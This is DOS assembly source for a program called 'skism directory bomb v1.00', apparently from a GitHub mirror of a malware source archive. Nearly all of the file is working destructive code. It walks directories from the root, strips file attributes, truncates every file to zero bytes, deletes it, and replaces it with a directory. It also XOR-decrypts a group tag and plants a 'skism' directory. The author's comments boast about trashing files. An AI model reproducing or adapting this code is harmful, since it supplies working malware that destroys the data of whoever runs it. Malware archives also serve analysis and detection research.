mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-30 19:02:32 +00:00
190 lines
5.5 KiB
NASM
190 lines
5.5 KiB
NASM
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;skism directory bomb v1.00
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;written by hellraiser
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;this is a lame bomb consisting of repetative/error full code
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;but it gets the job done
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;when run this program will start at the first directory from the root
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;and trash all files in first level directorys
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;then create a directory in place of the distroyed file name
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;it will also create a semi-removable directory called skism
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;yes bombs are very lame, and be advised, this is the only bomb
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;skism shall ever write... but we must try everything once
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;be warned, the tech used by this program does not only erase files but
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;it will also truncate them to 0 bytes, the skism method.
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code segment 'code'
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assume cs:code,ds:code,es:code
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org 0100h
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main proc near
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jmp start
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thestoppa db 1ah ;EOF char to stop TYPE command
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filecards db '*.*',0 ;wildcards for files
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dircards db '*',0 ;wildcards for directorys
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root db '\',0 ;root directory path
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default db 64 DUP (?) ;buffer to hold current dir
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dirdta db 43 DUP (?) ;DTA for dirs
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filedta db 43 DUP (?) ;DTA for files
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dseg dw ? ;holds old dir DTA segment
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dofs dw ? ;holds old dir DTA segment
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start:
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mov di,offset vl ;decrypt skism string
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mov si,offset vl ;
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mov cx,09h ;
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cld ;
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repeat:
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lodsb ;
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xor al,92h ;
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stosb ;
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dec cx ;
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jcxz bombstart ;
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jmp repeat ;
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bombstart:
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mov dx,offset dirdta ;set DTA to hold directorys
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mov ah,1ah ;DOS set DTA function
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int 21h ;
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mov ah,19h ;get drive code
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int 21h ;
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mov dl,al ;save drive code into dl
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inc dl ;translate for function 3bh
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mov ah,47h ;save current dir
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mov si, offset default ;save current dir into buffer
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int 21h ;
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mov dx,offset root ;change dir to root
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mov ah,3bh ;
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int 21h ;
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mov cx,13h ;find directorys
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mov dx,offset dircards ;find only directorys
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mov ah,4eh ;find first file
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scanloop:
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int 21h ;
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jc quit ;quit if no more dirs/error
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jmp changedir ;change to that dir
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findnextdir:
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mov ah,4fh ;find next directory
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mov dx,offset dircards ;
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jmp scanloop
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changedir:
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mov dx,offset dirdta + 30 ;point to dir name in DTA
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mov ah,3bh ;change directory
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int 21h ;
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smash:
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mov ah,2fh ;
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int 21h ;
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mov [dseg],es ;save dir DTA segemnt
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mov [dofs],bx ;and offset
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int 21h
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mov dx,offset filedta ;use file DTA as new DTA
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mov ah,1ah ;
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int 21h ;
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mov cx,0007h ;find flat attributes
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mov dx,offset filecards ;point to '*.*',0 wildcard spec
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mov ah,4eh ;find first file
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filescanloop:
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int 21h ;
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jc done ;quit on error/no files found
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mov ax,4301h ;clear files attributes
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xor cx,cx ;
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mov dx, offset filedta + 30 ;
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int 21h ;
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jc quit
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mov ah,3ch ;truncate file
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int 21h
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jc quit
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mov bx,ax ;save handle
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jc done
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mov ah,41h ;erase file
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int 21h ;
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mov ah,3eh ;close file
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int 21h ;
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mov ah,39h ;make directory in place of file
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int 21h ;
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mov ah,4fh ;find next
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jmp filescanloop
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done:
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mov ah,1ah ;restore directory DTA
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mov ds,[dseg] ;
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mov dx,[dofs] ;
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int 21h
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mov dx,offset root ;change dir to root
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mov ah,3bh ;
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int 21h ;
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jmp findnextdir
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quit:
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mov ah,3bh
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mov dx,offset root ;change to root
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int 21h
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mov ah,39h
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mov dx,offset vl
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int 21h
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jc restore
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restore:
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mov dx,offset default ;restore original directory
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mov ah,3bh ;
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int 21h ;
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mov ah,4ch ;
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int 21h ;
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vl db 0c1h,0f9h,0fbh,0e1h,0ffh,0bch,06dh,0b2h,06dh,0
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filler db 28 dup(1ah)
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main endp
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code ends
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end main
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